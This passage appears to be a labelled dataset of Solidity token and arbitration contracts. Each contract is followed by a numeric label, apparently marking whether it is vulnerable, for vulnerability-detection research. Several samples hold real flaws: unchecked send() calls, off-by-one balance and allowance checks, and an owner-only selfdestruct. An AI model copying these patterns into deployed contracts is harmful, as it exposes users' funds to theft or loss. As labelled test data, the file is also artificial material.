function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function burn(uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] = safeSub(balances[msg.sender], _value);
_totalSupply = safeSub(_totalSupply, _value);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 3,419 |
contract owned {
address public owner;
function owned() {
owner = msg.sender;
}
modifier onlyOwner {
if (msg.sender != owner) throw;
_;
}
function transferOwnership(address newOwner) onlyOwner {
owner = newOwner;
}
}
contract MyToken is owned{
string public standard = 'Token 0.1';
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
uint256 public sellPrice;
uint256 public buyPrice;
uint minBalanceForAccounts;
mapping (address => uint256) public balanceOf;
mapping (address => bool) public frozenAccount;
event Transfer(address indexed from, address indexed to, uint256 value);
event FrozenFunds(address target, bool frozen);
function MyToken(
uint256 initialSupply,
string tokenName,
uint8 decimalUnits,
string tokenSymbol,
address centralMinter
) {
if(centralMinter != 0 ) owner = msg.sender;
balanceOf[msg.sender] = initialSupply;
totalSupply = initialSupply;
name = tokenName;
symbol = tokenSymbol;
decimals = decimalUnits;
}
function transfer(address _to, uint256 _value) {
if (frozenAccount[msg.sender]) throw;
if (balanceOf[msg.sender] < _value) throw;
if (balanceOf[_to] + _value < balanceOf[_to]) throw;
if(msg.sender.balance<minBalanceForAccounts) sell((minBalanceForAccounts-msg.sender.balance)/sellPrice);
if(_to.balance<minBalanceForAccounts) _to.send(sell((minBalanceForAccounts-_to.balance)/sellPrice));
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
Transfer(msg.sender, _to, _value);
}
function mintToken(address target, uint256 mintedAmount) onlyOwner {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, owner, mintedAmount);
Transfer(owner, target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyOwner {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
function buy() returns (uint amount){
amount = msg.value / buyPrice;
if (balanceOf[this] < amount) throw;
balanceOf[msg.sender] += amount;
balanceOf[this] -= amount;
Transfer(this, msg.sender, amount);
return amount;
}
function sell(uint amount) returns (uint revenue){
if (balanceOf[msg.sender] < amount ) throw;
balanceOf[this] += amount;
balanceOf[msg.sender] -= amount;
revenue = amount * sellPrice;
msg.sender.send(revenue);
Transfer(msg.sender, this, amount);
return revenue;
}
function setMinBalance(uint minimumBalanceInFinney) onlyOwner {
minBalanceForAccounts = minimumBalanceInFinney * 1 finney;
}
} | 0 | 2,081 |
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeDecimal {
using SafeMath for uint;
uint8 public constant decimals = 18;
uint public constant UNIT = 10 ** uint(decimals);
function unit() external pure returns (uint) {
return UNIT;
}
function multiply(uint x, uint y) internal pure returns (uint) {
return x.mul(y).div(UNIT);
}
function power(uint x, uint n) internal pure returns (uint) {
uint result = UNIT;
while (n > 0) {
if (n % 2 != 0) {
result = multiply(result, x);
}
x = multiply(x, x);
n /= 2;
}
return result;
}
}
contract CritSupplySchedule is Ownable {
using SafeERC20 for IERC20;
using SafeMath for uint;
using SafeDecimal for uint;
uint256[157] public weeklySupplies = [
0,
358025, 250600, 175420, 122794, 112970, 103932, 95618, 87968, 80931, 74456, 68500, 63020, 57978,
53340, 49073, 45147, 41535, 38212, 35155, 32343, 29755, 27375, 25185, 23170, 21316, 19611,
18042, 16599, 15271, 14049, 12925, 11891, 10940, 10064, 9259, 8518, 7837, 7210, 6633,
6102, 5614, 5165, 4752, 4372, 4022, 3700, 3404, 3132, 2881, 2651, 2438, 2244,
2244, 2244, 2244, 2244, 2244, 2244, 2244, 2244, 2244, 2244, 2244, 2244, 2244,
2244, 2244, 2244, 2244, 2244, 2244, 2244, 2244, 2244, 2244, 2244, 2244, 2244,
2244, 2244, 2244, 2244, 2244, 2244, 2244, 2244, 2244, 2244, 2244, 2244, 2244,
2244, 2244, 2244, 2244, 2244, 2244, 2244, 2244, 2244, 2244, 2244, 2244, 2244,
1734, 1734, 1734, 1734, 1734, 1734, 1734, 1734, 1734, 1734, 1734, 1734, 1734,
1734, 1734, 1734, 1734, 1734, 1734, 1734, 1734, 1734, 1734, 1734, 1734, 1734,
1734, 1734, 1734, 1734, 1734, 1734, 1734, 1734, 1734, 1734, 1734, 1734, 1734,
1734, 1734, 1734, 1734, 1734, 1734, 1734, 1734, 1734, 1734, 1734, 1734, 1734
];
uint public constant MINT_PERIOD_DURATION = 1 weeks;
uint public constant SUPPLY_START_DATE = 1601258400;
uint public constant MAX_OPERATION_SHARES = 20e16;
address public rewardsToken;
uint public lastMintEvent;
uint public weekCounter;
uint public operationShares = 2e16;
event OperationSharesUpdated(uint newShares);
event SupplyMinted(uint supplyMinted, uint numberOfWeeksIssued, uint lastMintEvent, uint timestamp);
modifier onlyRewardsToken() {
require(msg.sender == address(rewardsToken), "onlyRewardsToken");
_;
}
constructor(address _rewardsToken, uint _lastMintEvent, uint _currentWeek) public {
rewardsToken = _rewardsToken;
lastMintEvent = _lastMintEvent;
weekCounter = _currentWeek;
}
function mintableSupply() external view returns (uint) {
uint totalAmount;
if (!isMintable()) {
return 0;
}
uint currentWeek = weekCounter;
uint remainingWeeksToMint = weeksSinceLastIssuance();
while (remainingWeeksToMint > 0) {
currentWeek++;
remainingWeeksToMint--;
if (currentWeek >= weeklySupplies.length) {
break;
}
totalAmount = totalAmount.add(weeklySupplies[currentWeek]);
}
return totalAmount.mul(1e18);
}
function weeksSinceLastIssuance() public view returns (uint) {
uint timeDiff = lastMintEvent > 0 ? now.sub(lastMintEvent) : now.sub(SUPPLY_START_DATE);
return timeDiff.div(MINT_PERIOD_DURATION);
}
function isMintable() public view returns (bool) {
if (now - lastMintEvent > MINT_PERIOD_DURATION && weekCounter < weeklySupplies.length) {
return true;
}
return false;
}
function recordMintEvent(uint _supplyMinted) external onlyRewardsToken returns (bool) {
uint numberOfWeeksIssued = weeksSinceLastIssuance();
weekCounter = weekCounter.add(numberOfWeeksIssued);
lastMintEvent = SUPPLY_START_DATE.add(weekCounter.mul(MINT_PERIOD_DURATION));
emit SupplyMinted(_supplyMinted, numberOfWeeksIssued, lastMintEvent, now);
return true;
}
function setOperationShares(uint _shares) external onlyOwner {
require(_shares <= MAX_OPERATION_SHARES, "shares");
operationShares = _shares;
emit OperationSharesUpdated(_shares);
}
function rewardOfOperation(uint _supplyMinted) public view returns (uint) {
return _supplyMinted.mul(operationShares).div(SafeDecimal.unit());
}
function currentWeekSupply() external view returns(uint) {
if (weekCounter < weeklySupplies.length) {
return weeklySupplies[weekCounter];
}
return 0;
}
}
contract RewardsDistribution is Ownable {
using SafeERC20 for IERC20;
using SafeMath for uint;
address public rewardsToken;
address[] public distributions;
mapping(address => uint) public shares;
event RewardDistributionAdded(uint index, address distribution, uint shares);
event RewardDistributionUpdated(address distribution, uint shares);
event RewardsDistributed(uint amount);
modifier onlyRewardsToken() {
require(msg.sender == address(rewardsToken) || msg.sender == owner(), "onlyRewardsToken");
_;
}
constructor(address _rewardsToken) public {
rewardsToken = _rewardsToken;
}
function addRewardDistribution(address _distribution, uint _shares) external onlyOwner {
require(_distribution != address(0), "distribution");
require(shares[_distribution] == 0, "shares");
distributions.push(_distribution);
shares[_distribution] = _shares;
emit RewardDistributionAdded(distributions.length - 1, _distribution, _shares);
}
function updateRewardDistribution(address _distribution, uint _shares) public onlyOwner {
require(_distribution != address(0), "distribution");
require(_shares > 0, "shares");
shares[_distribution] = _shares;
emit RewardDistributionUpdated(_distribution, _shares);
}
function removeRewardDistribution(uint index) external onlyOwner {
require(index <= distributions.length - 1, "index");
delete shares[distributions[index]];
delete distributions[index];
}
function distributeRewards(uint amount) external onlyRewardsToken returns (bool) {
require(rewardsToken != address(0), "rewardsToken");
require(amount > 0, "amount");
require(IERC20(rewardsToken).balanceOf(address(this)) >= amount, "balance");
uint remainder = amount;
for (uint i = 0; i < distributions.length; i++) {
address distribution = distributions[i];
uint amountOfShares = sharesOf(distribution, amount);
if (distribution != address(0) && amountOfShares != 0) {
remainder = remainder.sub(amountOfShares);
IERC20(rewardsToken).transfer(distribution, amountOfShares);
bytes memory payload = abi.encodeWithSignature("notifyRewardAmount(uint256)", amountOfShares);
distribution.call(payload);
}
}
emit RewardsDistributed(amount);
return true;
}
function totalShares() public view returns (uint) {
uint total = 0;
for (uint i = 0; i < distributions.length; i++) {
total = total.add(shares[distributions[i]]);
}
return total;
}
function sharesOf(address _distribution, uint _amount) public view returns (uint) {
uint _totalShares = totalShares();
if (_totalShares == 0) return 0;
return _amount.mul(shares[_distribution]).div(_totalShares);
}
}
contract Crit is ERC20, Ownable {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint;
address public governance;
address public supplySchedule;
address public rewardsDistribution;
address public rewardsOperation;
modifier onlyGovernance {
require(msg.sender == governance, "onlyGovernance");
_;
}
constructor() public ERC20("Crit", "CRIT") {
governance = msg.sender;
}
function setGovernance(address _governance) public onlyGovernance {
require(_governance != address(0), "governance");
governance = _governance;
}
function setSupplySchedule(address _supplySchedule) public onlyGovernance {
require(_supplySchedule != address(0), "supplySchedule");
supplySchedule = _supplySchedule;
}
function setRewardDistribution(address _distribution) public onlyGovernance {
require(_distribution != address(0), "distribution");
rewardsDistribution = _distribution;
}
function setRewardsOperation(address _operation) public onlyGovernance {
require(_operation != address(0), "operation");
rewardsOperation = _operation;
}
function mint() external {
require(supplySchedule != address(0), "supplySchedule");
require(rewardsDistribution != address(0), "rewardsDistribution");
require(rewardsOperation != address(0), "rewardsOperation");
CritSupplySchedule _supplySchedule = CritSupplySchedule(supplySchedule);
RewardsDistribution _rewardsDistribution = RewardsDistribution(rewardsDistribution);
uint supplyToMint = _supplySchedule.mintableSupply();
require(supplyToMint > 0, "supplyToMint");
_supplySchedule.recordMintEvent(supplyToMint);
uint amountToOperate = _supplySchedule.rewardOfOperation(supplyToMint);
uint amountToDistribute = supplyToMint.sub(amountToOperate);
_mint(rewardsOperation, amountToOperate);
_mint(rewardsDistribution, amountToDistribute);
_rewardsDistribution.distributeRewards(amountToDistribute);
}
} | 0 | 1,823 |
pragma solidity ^0.4.11;
contract ERC20Protocol {
uint public totalSupply;
function balanceOf(address _owner) constant returns (uint balance);
function transfer(address _to, uint _value) returns (bool success);
function transferFrom(address _from, address _to, uint _value) returns (bool success);
function approve(address _spender, uint _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint remaining);
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract Owned {
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
address public owner;
function Owned() {
owner = msg.sender;
}
address public newOwner;
function changeOwner(address _newOwner) onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() {
if (msg.sender == newOwner) {
owner = newOwner;
}
}
}
contract StandardToken is ERC20Protocol {
using SafeMath for uint;
modifier onlyPayloadSize(uint size) {
require(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) returns (bool success) {
if (balances[msg.sender] >= _value) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) onlyPayloadSize(2 * 32) returns (bool success) {
assert((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
}
contract tokenRecipient {
function receiveApproval(
address _from,
uint256 _value,
address _token,
bytes _extraData);
}
contract ClipperCoin is Owned{
using SafeMath for uint;
string public name = "Clipper Coin";
string public symbol = "CCCT";
uint public decimals = 18;
uint public totalSupply = 200000000 ether;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function ClipperCoin(
uint256 initialSupply,
uint8 tokenDecimals,
string tokenName,
string tokenSymbol
) {
balanceOf[msg.sender] = initialSupply;
totalSupply = initialSupply;
name = tokenName;
symbol = tokenSymbol;
decimals = tokenDecimals;
}
function _transfer(
address _from,
address _to,
uint _value)
internal {
require (_to != 0x0);
require (balanceOf[_from] > _value);
require (balanceOf[_to] + _value > balanceOf[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
}
function transfer(
address _to,
uint256 _value) {
_transfer(msg.sender, _to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value) returns (bool success) {
require (_value < allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(
address _spender,
uint256 _value) returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(
address _spender,
uint256 _value,
bytes _extraData) returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) returns (bool success) {
require (balanceOf[msg.sender] > _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(
address _from,
uint256 _value) returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | 1 | 5,152 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract MMOToken is ERC20 {
using SafeMath for uint256;
address public owner;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
string public name = "MMO's game art foundation";
string public constant symbol = "MMO";
uint public constant decimals = 18;
bool public stopped;
modifier stoppable {
assert(!stopped);
_;
}
uint256 public totalSupply = 1000000000*(10**18);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event LOCK(address indexed _owner, uint256 _value);
mapping (address => uint256) public lockAddress;
modifier lock(address _add){
require(_add != address(0));
uint256 releaseTime = lockAddress[_add];
if(releaseTime > 0){
require(block.timestamp >= releaseTime);
_;
}else{
_;
}
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function MMOToken() public {
owner = msg.sender;
balances[msg.sender] = totalSupply;
}
function stop() onlyOwner public {
stopped = true;
}
function start() onlyOwner public {
stopped = false;
}
function lockTime(address _to,uint256 _value) onlyOwner public {
if(_value > block.timestamp){
lockAddress[_to] = _value;
emit LOCK(_to, _value);
}
}
function lockOf(address _owner) constant public returns (uint256) {
return lockAddress[_owner];
}
function transferOwnership(address _newOwner) onlyOwner public {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function () public payable {
address myAddress = this;
emit Transfer(msg.sender, myAddress, msg.value);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
function transfer(address _to, uint256 _amount) stoppable lock(msg.sender) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, uint256 _amount) stoppable lock(_from) public returns (bool success) {
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[msg.sender] = balances[msg.sender].add(_amount);
emit Transfer(_from, msg.sender, _amount);
return true;
}
function approve(address _spender, uint256 _value) stoppable lock(_spender) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function withdraw() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function kill() onlyOwner public {
selfdestruct(msg.sender);
}
function setName(string _name) onlyOwner public {
name = _name;
}
} | 1 | 4,544 |
pragma solidity ^0.4.24;
interface IArbitrable {
event MetaEvidence(uint indexed _metaEvidenceID, string _evidence);
event Dispute(Arbitrator indexed _arbitrator, uint indexed _disputeID, uint _metaEvidenceID, uint _evidenceGroupID);
event Evidence(Arbitrator indexed _arbitrator, uint indexed _evidenceGroupID, address indexed _party, string _evidence);
event Ruling(Arbitrator indexed _arbitrator, uint indexed _disputeID, uint _ruling);
function rule(uint _disputeID, uint _ruling) external;
}
contract Arbitrable is IArbitrable {
Arbitrator public arbitrator;
bytes public arbitratorExtraData;
modifier onlyArbitrator {require(msg.sender == address(arbitrator), "Can only be called by the arbitrator."); _;}
constructor(Arbitrator _arbitrator, bytes memory _arbitratorExtraData) public {
arbitrator = _arbitrator;
arbitratorExtraData = _arbitratorExtraData;
}
function rule(uint _disputeID, uint _ruling) public onlyArbitrator {
emit Ruling(Arbitrator(msg.sender),_disputeID,_ruling);
executeRuling(_disputeID,_ruling);
}
function executeRuling(uint _disputeID, uint _ruling) internal;
}
contract Arbitrator {
enum DisputeStatus {Waiting, Appealable, Solved}
modifier requireArbitrationFee(bytes memory _extraData) {
require(msg.value >= arbitrationCost(_extraData), "Not enough ETH to cover arbitration costs.");
_;
}
modifier requireAppealFee(uint _disputeID, bytes memory _extraData) {
require(msg.value >= appealCost(_disputeID, _extraData), "Not enough ETH to cover appeal costs.");
_;
}
event DisputeCreation(uint indexed _disputeID, Arbitrable indexed _arbitrable);
event AppealPossible(uint indexed _disputeID, Arbitrable indexed _arbitrable);
event AppealDecision(uint indexed _disputeID, Arbitrable indexed _arbitrable);
function createDispute(uint _choices, bytes memory _extraData) public requireArbitrationFee(_extraData) payable returns(uint disputeID) {}
function arbitrationCost(bytes memory _extraData) public view returns(uint fee);
function appeal(uint _disputeID, bytes memory _extraData) public requireAppealFee(_disputeID,_extraData) payable {
emit AppealDecision(_disputeID, Arbitrable(msg.sender));
}
function appealCost(uint _disputeID, bytes memory _extraData) public view returns(uint fee);
function appealPeriod(uint _disputeID) public view returns(uint start, uint end) {}
function disputeStatus(uint _disputeID) public view returns(DisputeStatus status);
function currentRuling(uint _disputeID) public view returns(uint ruling);
}
contract CentralizedArbitrator is Arbitrator {
address public owner = msg.sender;
uint arbitrationPrice;
uint constant NOT_PAYABLE_VALUE = (2**256-2)/2;
struct DisputeStruct {
Arbitrable arbitrated;
uint choices;
uint fee;
uint ruling;
DisputeStatus status;
}
modifier onlyOwner {require(msg.sender==owner, "Can only be called by the owner."); _;}
DisputeStruct[] public disputes;
constructor(uint _arbitrationPrice) public {
arbitrationPrice = _arbitrationPrice;
}
function setArbitrationPrice(uint _arbitrationPrice) public onlyOwner {
arbitrationPrice = _arbitrationPrice;
}
function arbitrationCost(bytes _extraData) public view returns(uint fee) {
return arbitrationPrice;
}
function appealCost(uint _disputeID, bytes _extraData) public view returns(uint fee) {
return NOT_PAYABLE_VALUE;
}
function createDispute(uint _choices, bytes _extraData) public payable returns(uint disputeID) {
super.createDispute(_choices, _extraData);
disputeID = disputes.push(DisputeStruct({
arbitrated: Arbitrable(msg.sender),
choices: _choices,
fee: msg.value,
ruling: 0,
status: DisputeStatus.Waiting
})) - 1;
emit DisputeCreation(disputeID, Arbitrable(msg.sender));
}
function _giveRuling(uint _disputeID, uint _ruling) internal {
DisputeStruct storage dispute = disputes[_disputeID];
require(_ruling <= dispute.choices, "Invalid ruling.");
require(dispute.status != DisputeStatus.Solved, "The dispute must not be solved already.");
dispute.ruling = _ruling;
